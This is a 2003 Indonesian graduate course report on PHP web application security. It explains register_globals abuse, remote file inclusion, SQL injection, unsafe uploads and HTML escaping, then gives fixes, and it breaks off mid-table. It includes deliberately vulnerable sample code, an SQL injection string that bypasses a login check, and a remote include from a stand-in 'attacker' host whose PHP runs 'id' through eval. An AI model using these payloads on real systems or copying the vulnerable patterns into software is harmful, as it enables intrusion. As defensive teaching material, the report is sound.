Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML...

28
LAPORAN TUGAS AKHIR Mata Kuliah EI 7012 – KEAMANAN JARINGAN INFORMASI Dosen : Dr.BUDI RAHARJO KEAMANAN PADA APLIKASI WEB DENGAN PHP Oleh : ABD. THALIB NIM. 23202112 ([email protected]) BIDANG KHUSUS TEKNOLOGI INFORMASI PROGRAM MAGISTER TEKNIK ELEKTRO PROGRAM PASCASARJA INSTITUT TEKNOLOGI BANDUNG 2003

Transcript of Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML...

Page 1: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

LAPORAN TUGAS AKHIR

Mata Kuliah

EI 7012 – KEAMANAN JARINGAN INFORMASI

Dosen : Dr.BUDI RAHARJO

KEAMANAN PADA APLIKASI WEB DENGAN PHP

Oleh :

ABD. THALIB NIM. 23202112

([email protected])

BIDANG KHUSUS TEKNOLOGI INFORMASI PROGRAM MAGISTER TEKNIK ELEKTRO

PROGRAM PASCASARJA INSTITUT TEKNOLOGI BANDUNG

2003

Page 2: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

ABSTRAK

PHP merupakan bahasa script yang digunakan untuk membuat halaman web yang dinamis. Dinamis berarti halaman yang akan ditampilkan dibuat saat halaman itu diminta oleh klien. Konsep kerja PHP, sama halnya dengan HTML yang diawali dengan permintaan suatu halaman web oleh browser. Berdasarkan URL (Uniform Resource Locator) browser mendapat alamat dari web browser, mengidentifikasi dan menyampaikan segala informasi yang dibutuhkan web server. Ketika berkas PHP yang diminta didapat oleh web server, isinya langsung dikirimkan ke mesin PHP untuk diproses dan memberi hasilnya (berupa kode HTML) ke web server. Selanjutnya web server menyampaikan ke klien.

PHP adalah aplikasi yang open source dan mempunyai fasilitas autoglobal pada varibel, programer diberikan kemudahan untuk mengaplikasikannya. Tetapi kemudahan ini pula yang memudahkan attacker untuk merusak setiap program dijalankan.

Serangan ini dapat dihindari (diminimalkan) dengan mengadakan pengamannya. Untuk itu tulisan ini akan mengkaji berbagai sumber tentang aspek potensial yang mudah diganggu keamanannya pada scrip PHP dan membuat alternatif solusi penangannya.

Page 3: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

KATA PENGANTAR

Puji dan syukur saya panjatkan kehadirat Allah SWT atas rahmat dan

karunia-NYA, sehingga saya dapat menyelesaikan tugas akhir mata kuliah : EI 7012

– KEAMANAN JARINGAN INFORMASI, dengan topik “KEAMANAN PADA

APLIKASI WEB DENGAN PHP”.

Pembahasan materi ini akan mengkaji aspek potensial yang mudah diganggu

keamanannya pada skrip PHP dan membuat alternatif solusi penangannya, yang

bersumber dari studi internet di beberapa situs. Dalam rangka menambah

pengetahuan saya berkenaan dengan ilmu pengetahuan yang berhubungan dengan

mata kuliah yang saya ikuti. Oleh karena itu, saya merasakan masih banyak

kekurangan dalam uraian tulisan saya ini. Untuk itu kritik dan saran sangat saya

harapkan demi perbaikan di masa yang akan datang.

Ucapan terima kasih saya sampaikan kepada Bpk.Dr.Budi Raharjo. yang

telah memberi bimbingan dan ilmunya kepada saya, semoga menjadi amal baik

nantinya. Amin.

Bandung, Oktober 2003

Penulis

Page 4: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

DAFTAR ISI

Halaman Judul ……………………………………………………………… i

Abstrak ……………………………………………………………………… ii

Kata Pengantar ……………………………………………………………… iii

Daftar Isi …………………………………………………………………….. iv

Daftar Gambar ………………………………………………………………. v

BAB I PENDAHULUAN ………………………………………………. 1

1. Apakah Itu PHP? …………………………………………………... 1

2. Skrip PHP …………………………………………………………… 1

3. Konsep Kerja PHP …………………………………………………. 3

4. Lubang Keamanan PHP …………………………………………….. 5

BAB II KEAMANAN PADA APLIKASI WEB DENGAN PHP ……….. 6

1. Variabel Auto Global …………..…………………………………... 6

2. Fungsi Include(), Require() atau fopen ……………………………. 9

3. Hilangkan Karakter-Karakter Escape Dalam Perintah SQL ………… 11

4. Hindari Upload Yang Salah …..……………………………………. 13

5. Hilangkan Karakter-Karakter Escape HTML Dalam Teks ………… 13

6. Gunakan Ekstensi .php Untuk Semua File Script ..………………… 14

7. Tempatkan Isi Yang Sensitif Di Luar Direktori Root Dokumen …… 14

8. Berhati-Hati Terhadap Server Bersama …………………………….. 15

9. Hindari Pengertian Yang Ruwet dan Semaunya …………………… 16

10. Pengecekan Kondisi Dengan Jenis Variabel Yang Tidak Jelas …….. 18

11. Session Spoofing ……………………………………………………. 19

12. Beberapa Tips Untuk Pengamanan Aplikasi Web Dengan PHP ……. 20

BAB III KESIMPULAN …………………………………………………. 22

DAFTAR PUSTAKA

Page 5: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

DAFTAR GAMBAR

Gambar 1. Tampilakn Kode HTML Pada Browser ………………………… 2

Gambar 2. Tampilakn Kode PHP Pada Browser …………………………… 3

Gambar 3 Konsep Kerja HTML ………….………………………………… 4

Gambar 4. Konsep Kerja PHP ……………………………………………… 4

Page 6: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

BAB I

PENDAHULUAN

1. Apakah PHP Itu?

PHP adalah singkatan dari PHP Hypertext Preprocessor yaitu bahasa

berbentuk skrip yang ditempatkan di server dan dijalankan oleh server. Hasilnya ke

klien tempat pemakai menggunakan browser.

PHP dirancang untuk membentuk web dinamis. Artinya PHP dapat

membentuk suatu tampilan berdasarkan permintaan terkini. Misalnya dapat

mengakses database dan menampilkannya di halaman web serta ineraktif dengan

cepat dan mudah. PHP dapat berinteraksi dengan hampir semua teknologi web yang

sudah ada. Developer dapat menulis sebuah program PHP yang mengeksekusi suatu

program CGI (Common Gateway Interface) di server web lain.

Skrip-skrip PHP semula berawal dari skrip Perl yang dikemas menjadi tool

yang disebut “Personal Home Page”. Paket inilah yang menjadi cikal bakal PHP.

Pada tahun 1995, Rasmus Lerdroft menciptakan PHP/FI Versi 2. Pada versi ini

pemrogram dapat menempelkan kode terstruktur di dalam tag HTML.

Pada awalnya, PHP dirancang untuk diintegrasikan dengan web server

Apache. Namun sekarang PHP juga dapat bekerja dengan web server seperti PWS

(Personal Web Server), IIS (Internet Information Server), dan Xitami. PHP bersifat

bebas dipakai (open source), dan software-nya dapat di-download melalui situs

www.php.net.

2. Skrip PHP

Skrip PHP berkedudukan sebagai tag dalam bahasa HTML. Sebagaimana

diketahui, HTML (HyperText Markup Language) adalah bahasa standar untuk

membuat halaman-halaman web. Berikut adalah contoh kode HTML dan kode PHP.

Kode HTML :

Abd.Thalib - 23202112

Page 7: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

<html>

<head>

<title>Kode HTML</title>

</head>

<body>

Ini Menggunakan Kode HTML <BR>

</body>

</html

Bila dijalankan melalui browser, maka hasilnya sebagai berikut:

Gambar 1. Tampilakn Kode HTML Pada Browser

Kode PHP yang berada dalam kode HTML

<html>

<head>

<title>Kode PHP</title>

</head>

<body>

Ini Menggunakan Kode PHP <BR>

Abd.Thalib - 23202112

Page 8: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

<?php

printf("Hari Ini Tgl. : %s ", Date ("d F Y"));

?>

</body>

</html>

Kode PHP diawali dengan <?php dan diakhiri dengan ?>. Pasangan kedua

kode inilah yang befungsi sebagai tag kode PHP. Berdasar tag inilah, server dapat

memahami kode PHP dan memprosesnya. Hasil dari skrip di atas adalah sebagai

berikut:

Gambar 2. Tampilakn Kode PHP Pada Browser

3. Konsep Kerja PHP

Konsep kerja HTML diawali dengan permintaan suatu halaman web oleh

browser. Berdasarkan URL (Uniform Resource Locator) ataudikenal dengan internet,

browser mendapat alamat dari web serve, mengidentifikasi halaman yang

dikehendaki, dan menyampaikan segala informasi yang dibutuhkan oleh web server.

Selanjutnya, web server akan mencarikan berkas yang diminta dan

membrikan isinya ke browser. Browser yang mendapatkan isinya segera melakukan

proses penerjemahan kode HTML dan menampilkannya ke layar pemakai (klien).

Abd.Thalib - 23202112

Page 9: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

Browser

Klien

WebServer

WebServer

Permintaan HTTP(sesuatu html)

TanggapanHTTP

Kode HTML

Gambar 3 Konsep Kerja HTML

Pada PHP prinsip kerjanya sama, hanya saja ketika berkas PHP yang diminta

didapatkan oleh web server, isinya segera dikirimkan ke mesin PHP dan mesin inilah

yang memproses dan memberikan hasilnya (berupa kode HTML) ke web server.

Selanjutnya, web server menyampaikannya ke klien.

Browser

Klien

WebServer

WebServer

Permintaan HTTP(sesuatu PHP)

TanggapanHTTP

Kode HTML

Mesin PHP

Skrip PHP

.

Gambar 4. Konsep Kerja PHP

Abd.Thalib - 23202112

Page 10: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

4. Lubang Keamanan PHP

PHP dapat dijalankan sama seperti aplikasi CGI (Common Gateway

Interface) seperti web server yang terintegrasi. Interpreter PHP mempunyai

kemampuan untuk mengakses hampir semua host-file system, network interfaces,

IPC, dan lain-lain. Konsekwensinya PHP potensial mendapat serangan dari attacker.

Untuk meminimalkan serangan programmer harus menyadari dan mengetahui hal-

hal yang tidak diharapkan (merusak) saat program dijalankan, yaitu pengetahuan

kelemahan suatu sistem dan modus serangan secara umum yang diarahkan untuk

mengganggu keamanan program tersebut

Lubang keamanan yang paling umum di dalam skrip PHP dan tak terkecuali

pada aplikasi web yang manapun, adalah berkaitan dengan User Input. Banyak skrip

menggunakan informasi user yang legal dalam bentuk format web dan memproses

informasi ini dengan berbagai cara. Jika user input ini dilegalkan tanpa batasan,

maka user input potensial menyisipkan perintah-perintah yang tidak diinginkan

dalam skrip.

Abd.Thalib - 23202112

Page 11: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

BAB II

KEAMANAN PADA APLIKASI WEB DENGAN PHP

Aplikasi web dengan PHP telah menjadi hal yang populer dalam

menyediakan akses global terhadap data, pelayanan, dan produk. Akan tetapi, akses

global yang merupakan keuntungan utama penggunaan web ini juga memberikan

lubang-lubang keamanan yang bisa diakses secara global dan sering disalahgunakan.

Memang bukan hal yang sulit untuk membuat aplikasi web menggunakan skrip PHP,

tetapi aplikasi ini bisa jadi mengandung lubang-lubang berbahaya tanpa disadari.

Kejadian ini ditampilkan oleh banyak aplikasi web umum lainnya., termasuk PHP

yang ternyata memiliki lubang-lubang keamanan berbahaya. Kode program sering

dibuat untuk mengidentifikasi lubang ini, tetapi biasanya kode program tersebut

mudah diakses oleh publik.

Tulisan ini menampilkan langkah-langkah yang dapat membantu

mengidentifikasi atau menghindari lubang-lubang demikian dalam aplikasi yang

dituliskan dengan menggunakan PHP.

1. Variabel Auto Global

Pada umumnya aplikasi PHP yang memiliki lubang keamanan berasal dari

kemampuan varibel autoglobal. Dengan adanya fasilitas autoglobal pada varibel,

programer diberikan kemudahan mengaplikasikan skrip PHP, tapi memudahkan pula

terjadinya lubang keamanan. Dengan fasilitas ini suatu varibel misalnya $x tidak

perlu dideklarasikan dahulu dan bisa merupakan varibel session, varibel cookie,

varibel dari GET/POST.

Tentu saja sebenarnya kelemahan keamanan bukan semata-mata berawal dari

varibel autoglobal, melainkan juga kurangnya kewaspadaan dari programer itu

sendiri.

Akibat lubang kemanan tersebut dapat mengakibatkan hal-hal berikut:

a). denial of service,

Abd.Thalib - 23202112

Page 12: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

b). authentication failure,

c). account hijacking,

d). perusakan tampilan(layout),

e). implantasi virus web browser,dan lain-lain.

Kebanyakan aplikasi PHP yang ditemukan lubang keamanannya akibat

varibel autoglobal ini adalah aplikasi yang open source, karena user dapat

mengetahui kode aplikasi dan mengetahui nama-nama varibel yang digunakan. Jadi

dengan sedikit trik 'security through obscurity' sebenarnya skrip agak terlindungi dari

akibat fasilitas varibel autoglobal ini. Tapi tentu saja cara itu bukan hal yang baik,

karena cepat atau lambat lubang itu akan ditemukan.

Jika pilihan register_globals diaktifkan, maka PHP akan membentuk

variabel global untuk setiap variabel GET, POST, dan cookie termasuk dalam

meminta (request) HTTP. Ini berarti bahwa attaker kemungkinan mampu mengatur

variabel-variabel ini di luar perkiraan. Perhatikan kode berikut yang ditujukan untuk

melakukan akses tanpa nama terhadap sebuah artikel tunggal dan meminta

autentifikasi untuk semua artikel lain:

// anggaplah bahwa $article_id ditentukan oleh URL

if ($article_id == 0) {

$guest_ok = true;

}

if (!$guest_ok) {

// cek apakah pengguna diizinkan dengan menggunakan fungsi yang

// didefinisikan pada tempat lain

check_auth();

}

Kode ini mungkin terlihat dapat dijalankan karena variabel $guest_ok

secara umum akan diinisialisasi false. Akan tetapi, jika user memasukkan

guest_ok=1 dalam URL, maka dia akan lolos autentifikasi dan mengakses artikel

apapun dalam sistem.

Abd.Thalib - 23202112

Page 13: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

Permasalahan yang sama dapat muncul saat melakukan pengecekan

keamanan saat terlihat hubungan (link) ke halaman, tetapi tidak melakukan

pengecekan keamanan pada halaman yang terhubung dengan user. Dalam sebuah

sistem di mana user mendapat hak akses untuk memilih daftar artikel. Programmer

seharusnya melakukan pengecekan keamanan saat mengeluarkan daftar artikel yang

tersedia dan saat menampilkan sebuah artikel yang sudah dipilih dari daftar itu.

Tanpa melakukan pengecekan ini, attacker dapat mengetik kode URL untuk artikel-

artikel yang seharusnya tidak boleh diakses olehnya dan melihat artikel itu tanpa

kesulitan. Variasi umum lain untuk permasalahan ini adalah menggunakan fitur

“Remember My Login” dengan menyimpan pengenal user dalam sebuah cookie, yang

mengizinkan user mengubah nilai cookie-nya untuk login.

Permasalahan ini dapat muncul di sembarang tempat dalam skrip yang

dibuat. Perhatikanlah dengan hati-hati daerah-daerah berikut.

▪ Kode pengecekan autentifikasi dan izin.

▪ Gunakan variabel sebelum diinisialisasi(dapat diatur melalui error_reporting)

▪ Gunakan variabel yang dirancang untuk mengatur permintaan oleh perintah

GET atau POST.

Langkah-langkah yang dapat dilakukan untuk mengatasi permasalahan ini

adalah sebagai berikut.

▪ Menonaktifkan register_globals dalam file php.ini. Sesudah melakukan

perubahan ini, Anda akan menggunakan $HTTP_GET_VARS dan

$HTTP_POST_VARS yang berhubungan dengan array untuk mengakses

input GET dan POST sebagai pengganti penggunaan variabel global. Hal ini

mungkin akan membosankan, tetapi jauh lebih aman.

▪ Jika fungsi “Remember My Login” dibutuhkan, masukkan sebuah password

atau berusaha keras menebak pengenal acak dalam cookie (fungsi “Remember

My Login” masih bisa memberikan lubang keamanan lain seperti pengguna

jahat yang membagi sebuah mesin dengan seorang pengguna resmi untuk

mendapatkan akses).

Abd.Thalib - 23202112

Page 14: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

▪ Menuliskan kode untuk menginisialisasi variabel global. Kode fragmen di

atas dapt dikembangkan dengan menginisialisasi $guest_ok sehingga bernilai

false di awal script.

▪ Menjamin suatu variabel bahwa variabel itu benar-benar datang dari suatu

bagian dan tidak berasal dari attacker.

▪ Menuliskan kode untuk mengecek bahwa variabel global tidaklah berada

dalam array $HTTP_POST atau $HTTP_GET.

2. Fungsi include(), require() atau fopen()

Akibat mekanisme autoglobal, suatu varibel dalam php menjadi tidak jelas

jenisnya. Jenis variabel jadi tidak dapat dibedakan antara variabel dari GET/POST,

varibel dari ENVIRONTMENT atau varibel dari COOKIES/SESSION. Akibatnya

suatu variabel apa saja yang didefinisikan dapat dengan mudah diisi dengan nilai dari

varibel GET atau POST.

Kelemahan biasanya muncul ketika digunakan varibel untuk parameter

fungsi include(), require() atau fopen(). Dengan fungsi tersebut dapat dilakukan

eksekusi/parsing file PHP dari file lain, baik pada file dari disk local atau file dari

situs lain. Jika varibel untuk parameter fungsi tersebut diketahui,maka attacker dapat

mengganti nilai varibel tersebut dengan mengirimkan nilai varibel lewat metode

GET atau POST.

Contoh dibawah ini adalah vulnerability akibat menggunakan variabel pada

fungsi include(). Perhatikan kode dibawah ini :

include($phpgw_info["server"]["include_root"]."/phpgwapi/phpgw_info.inc.php");

Kode tersebut tidak aman karena walaupun menggunakan varibel array,

variable $phpgw_info masih dapat diganti dengan varibel GET/POST dari client atau

diganti dengan sebuah url lain misalnya http://attacker/phpgwapi/phpgw_

info.inc.php, dimana file phpgw_info.inc.php dapat berisi kode php yang dapat

dieksekusi oleh server korban/victim, misalnya berupa kode :

<?php

Abd.Thalib - 23202112

Page 15: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

$phpcode = 'echo("Hi there!<BR>");passthru("id");';

if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP")

echo("<?php $phpcode ?>");

else

eval($phpcode);

exit();

?>

[ Detil vulnerability -> http://online.securityfocus.com/advisories/2947 ]

Kejadian seperti diatas, dimana suatu kode php dari situs lain diambil agar

dieksekusi di server korban sering disebut Cross Site Scripting (XSS).

Ada beberapa langkah untuk menghindari penggunaan variabel global saat

mengakses file, yaitu :

▪ Hindari penggunaan variabel sebagai nama file. Variabel $lib_dir di atas bisa

diganti dengan sebuah nilai yang didefinisikan oleh PHP yaitu fungsi define.

▪ Cek apakah nama file yang dibuat adalah salah satu dari nama file yang

diinginkan, misalnya:

$valid_pages = array (

“apage.php” => “”,

“another.php” => “”,

“more.php” => “”);

if (!isset($valid_pages[$page])) {

// batalkan script

// sebaiknya buat pesan log di sini juga

die(“Invalid request”);

}

▪ jika ternyata harus menggunakan sebuah variabel dari browser, cek dahulu

apakah nilai variabel menggunakan kode seperti di bawah ini:

Abd.Thalib - 23202112

Page 16: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

if (!(eregi(“^[a-z_./]*$”, $page) && !eregi(\\.\\.,$page))) {

// batalkan script

// sebaiknya buat pesan log di sini juga

die(“Invalid request”);

}

▪ Jangan percaya variabel global untuk langkah berikutnya yang dapat

menjamin variabel tidak akan digunakan untuk hal-hal yang merusak.

▪ Gunakan konfigurasi varibel allow_url_fopen dan open_basedir untuk

membatasi lokasi di mana file bisa dibuka.

3. Hilangkan Karakter-Karakter Escape dalam Perintah SQL.

Kesalahan umum yang terjadi adalah penggunaan nilai variabel yang

disediakan oleh user atau URL dalam sebuah query SQL tanpa menghilangkan

karakter-karakter khusus. Perhatikan contoh kode fragmen berikut dari sebuah skrip

yang dirancang untuk mengecek kebenaran username dan password yang

dimasukkan dalam halaman HTML:

$query = “SELECT * FROM users WHERE username=’ “ . $username . “ ‘ AND password=’ “ . $password . “ ‘ “;

// record yang memenuhi perintah di atas terdapat di suatu tempat

if (record_exists($query)) {

echo “Access granted”;

} else {

echo “Access denied”;

}

Perintah ini akan jalan jika pengaksesan menggunakan check.php?user

name=admin&password=x. Akan tetapi, jika kode ini diakses dengan

menggunakan check.php? username=admin&password=a%27+OR+1%3Di

%271 (dan jika magic_quotes_gpc dibuat disabled) maka password akan menjadi

Password=’a’ or 1=’1’ sehingga record pengguna admin akan selalu dikembalikan

berapapun nilai password.

Abd.Thalib - 23202112

Page 17: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

Permasalahan ini dapat dihilangkan secara terpisah dengan mendek-

larasikan variabel magic_quotes_gpc pada file php.ini, yang berarti bahwa PHP

akan menghilangkan kutipan dalam GET, POST dan data cookie (data tidak berguna,

hanya membuang-buang waktu saja) yang menggunakan karakter \.. Namun

demikian, magic_quotes_gpc sering dibuat disabled karena variabel ini dapat

membuat kode lain menjadi aneh. Jika diberikan sebuah perintah echo $username

pada kode fragmen di atas, maka setiap kemunculan karakter ‘ akan diganti oleh \’.

Selanjutnya variabel magic_quotes_gpc tidak akan terlindungi dari nilai-nilai

variabel yang diperoleh dari sumber-sumber seperti record basis data atau file di

mana pengguna jahat kemungkinan sudah bermodifikasi selama operasi program

berjalan normal.

Pengguna harus betul-betul memperhatikan perintah pencarian (search)

pada basis datanya. Jika pengguna menggunakan MySQL contohnya, maka

pencarian ini dapat dilakukan dengan menggunakan fungsi mysql_db_query.

Ada beberapa langkah untuk mengatasi karakter-karakter escape. Langkah-

langkah itu adalah:

▪ Gunakan fungsi addslashes yang sudah ada atau fungsi-fungsi serupa

Untuk menghindari kutipan dan backslash dalam perintah SQL dengan

backslash.

▪ Aktifkan variabel magic_quotes_gpc. Variabel ini bisa membantu,

tetapi jangan terlalu diandalkan. (Pengaktifan dan penggunaan addslashes

akan menghasilkan kesalahan).

▪ Jika menggunakan variabel yang diharapkan mengandung angka dalam

perintah SQL, yakinkan bahwa variabel-variabel itu betul-betul

mengandung angka. Di sini, bisa digunakan fungsi-fungsi yang sudah

dimiliki oleh PHP, di antaranya: sprintf, ereg, dan is_long untuk

mengecek nilai variabel.

Abd.Thalib - 23202112

Page 18: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

4. Hindari Upload Yang Salah

File-file upload dapat rusak dari sebuah kemungkinan berbahaya yang

berasal dari permasalahan variabel global yang tidak dapat dipercaya. Hal ini layak

dipertimbangkan sebagai sebuah permasalahan tambahan. Saat sebuah file di-

uploaded, script PHP menyimpan file uploaded itu. Akan tetapi, user dapat

membangun URL yang mengatur nilai variabel ini hingga menjadi nilai yang tidak

diharapkan seperti /etc/passwd dan tidak akan meng-upload file. Skrip tersebut

kemungkinan kemudian menyalin file itu ke sebuah lokasi atau menampilkan isi file

ke user.

Apa yang harus dilakukan adalah menguji semua skrip yang berhubungan

dengan file upload. Pencarian dengan type=”file” mungkin bisa membantu

mengidentifikasi skrip-skrip ini.

Langkah-langkah perbaikan dan pengembangan dalam permasalahan ini

adalah seperti beikut ini.

▪ Menggunakan versi-versi PHP terbaru yang memiliki fungsi-fungsi

is_uploaded_file dan move_uploaded_file. Versi terbaru ini

memperbolehkan pemrogram untuk menjamin bahwa fungsi-fungsi di

atas bekerja dengan file-file uploaded.

▪ Jika Anda tidak yakin bahwa kode Anda akan berjalan pada versi PHP

terbaru, aturlah setting konfigurasi upload_tmp_dir dan kemudian

lakukan pengecekan input untuk menjamin bahwa file di mana Anda

bekerja betul berada dalam direktori ini.

5. Hilangkan Karakter-Karakter Escape HTML Dalam Teks

Apa yang akan terjadi jika seseorang meletakkan sebuah tag <blink> dalam

sebuah bagian di halaman web? Jika tidak dihilangkan karakter HTML ini dalam

teks sebelum disimpan atau ditampilkan, maka semua teks berikutnya pada halaman

itu akan berkedib. Versi-versi lain yang lebih berbahaya dari hal ini juga

memungkinkan; contohnya attacker akan menulis JavaScript yang akan membawa

browser ke tempat pesaingnya.

Abd.Thalib - 23202112

Page 19: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

Dalam permasalahan ini perlu diidentifikasi halaman yang menampilkan

teks yang dimasuki oleh user yang tidakdiinginkan.

Langkah-langkah perbaikan dan pengembangan adalah:

▪ Menghilangkan HTML dengan tepat sebelum menyimpan atau

menampilkannya. Untuk ini dapat digunakan fungsi-fungsi yang dimiliki

oleh PHP yaitu htmlspecialchars atau htmlentities untuk maksud ini.

▪ Jika Anda menginginkan agar pengguna yang tidak dapat dipercaya

menggunakan HTML untuk pemformatan, maka Anda seharusnya

melakukan validasi untuk membatasi tag-tag HTML yang tersedia

dengan hanya menggunakan tag dasar seperti <b> dan <I>.

6. Gunakan Ekstensi .php untuk Semua File Script

Banyak pemrogram PHP menggunakan ekstensi .inc atau .class untuk file

library dan file konfigurasi yang diakses dengan menggunakan fungsi include. Jika

attacker mengambil URL untuk file .inc atau .class dalam browser-nya, maka dia

tidak akan mampu melihat isi file ini, termasuk kode PHP apapun. Boleh jadi hal ini

memperlihatkan hak keintelektualan, password, atau kelemahan dalam pengkodean.

Apa yang harus dilakukan adalah menguji semua nama file dari semua file

script yang ada. Langkah-langkah perbaikan dan pengembangan adalah:

▪ gunakan ekstensi .php untuk semua file script,

▪ tempatkan file library dan file konfigurasi di luar direktori root dokumen

server web.

7. Tempatkan Isi Yang Sensitif Di Luar Direktori Root Dokumen

Banyak sistem PHP dirancang untuk membatasi akses ke dokumen atau

citra melalui autentifikasi user dan daftar kontrol akses. Akan tetapi, dokumen-

dokumen ini sering disimpan sebagai file dalam sebuah subdirektori dari direktori

yang berisi skrip PHP. Hal ini tentu membuat file-file tersebut tersedia langsung jika

user memakai URL yang tepat dalam browser.

Abd.Thalib - 23202112

Page 20: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

Jadi, janganlah meletakkan isi yang seharusnya rahasia dalam root aplikasi;

contohnya, jangan menempatkan citra yang dimaksudkan sebagai password yang

dilindungi dalam root aplikasi.

Apa yang harus dilakukan untuk mengatasi permasalahan ini adalah dengan

mengecek penempatan direktori yang digunakan untuk menyimpan file-file yang

mengandung isi rahasia. Langkah-langkah perbaikan dan pengembangan dalam

permasalahan ini adalah.

▪ Menyimpan isi sebagai sebuah file dalam sebuah direktori di luar direktori

root dokumen milik web server.

▪ Menyimpan isi dalam sebuah basis data.

▪ Menggunakan fitur web server seperti file Apache .htaccess untuk mencegah

akses langsung ke direktori isi.

8. Berhati-Hati terhadap Server Bersama

Banyak situs PHP mengambil keuntungan dengan murahnya tempat yang

disediakan oleh pihak ketiga. Penyedia tempat ini biasanya menggunakan server

bersama dengan pengguna-pengguna lain. Pengguna lain ini mungkin saja mampu

menggunakan skrip PHP atau akses shell untuk memodifikasi, mengakses, atau

menghapus file-file atau menentukan password basis data. Serangan lain yang

mungkin adalah kemampuan menciptakan file sesi (standarnya tersimpan dalam

/tmp) yang akan mengizinkan attacker menggunakan autentifikasi tersebut.

Apa yang harus dilakukan untuk mengatasi permasalahan ini adalah jika

server yang digunakan adalah server bersama, lihatlah dulu konfigurasi server

dengan menggunakan fungsi phpinfo. Juga lakukan pengecekan pada izin

penggunaan file-file yang sensitif. Langkah-langkah perbaikan dan pengembangan

dalam permasalahan ini adalah:

▪ Menggunakan server khusus sebagai gantinya. Perusahaan penyedia tempat

untuk situs PHP memiliki server khusus yang tersedia dengan harga yang

lebih tinggi, tetapi keamanan dan kinerja yang diberikan bisa mengimbangi

pengeluaran.

Abd.Thalib - 23202112

Page 21: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

▪ Mengecek apakah perusahaan penyedia tempat sudah mengaktifkan setting

konfigurasi safe_mode (bisa dicek dengan menuliskan sebuah skrip yang

berjalan dengan fungsi phpinfo). Namun demikian, fungsi safe_mode juga

dapat mencegah eksekusi program lain sehingga membatasi fungsionalitas

situs.

▪ Menentukan perizinan file sehingga web server hanya bisa membaca file-file

jika diketahui namanya (Pada sistem Unix, berikan model direktori seperti

711).

9. Hindari Pengetikan yang Ruwet dan Semaunya

PHP akan sering mengubah tipe variabel dari satu tipe ke tipe lain untuk

mencocokkan isi dengan yang sedang digunakan. Permasalahan ini sulit

diidentifikasi, tetapi dapat membawa ke lubang-lubang keamanan dalam perangkat

lunak PHP. Perhatikan kode berikut:

<?php

// daftar pengguna biasa – kunci untuk tiap array merupakan user number dan

// nilainya adalah password

$users[0] = “”; //pengguna tamu (guest user)

$users[1] = “password1”;

$users[2] = “password2”;

// cek apakah pengguna sudah memasuki user ID 0, 1, atau 2

if ($user_id < 0 || $user_id > 2 ||!isset($user_id)) {

die(“Invalid user ID”);

}

// cek apakah user bukan tamu yang sudah memberikan password yang benar

if ($user_id != 0 && $password != $users[$user_id])) {

die(“Password Invalid”);

}

// cetak pesan yang memberitahukan pengguna siapa mereka

Abd.Thalib - 23202112

Page 22: Keamanan Aplikasi Web Pada PHP · PDF fileDaftar Gambar ... Berikut adalah contoh kode HTML dan kode ... Aplikasi web dengan PHP telah menjadi hal yang

if ($user_id) {

echo “Anda pengguna resmi”;

} else {

echo “Anda pengguna tamu”;

}

?>

Kode ini terlihat sudah melakukan pengecekan yang cukup untuk menjamin

bahwa user ID yang benar sudah masuk. Daftar parameter dan output bisa dilihat

pada tabel berikut.

Nilai user_id Nilai password Output Kebenaran output

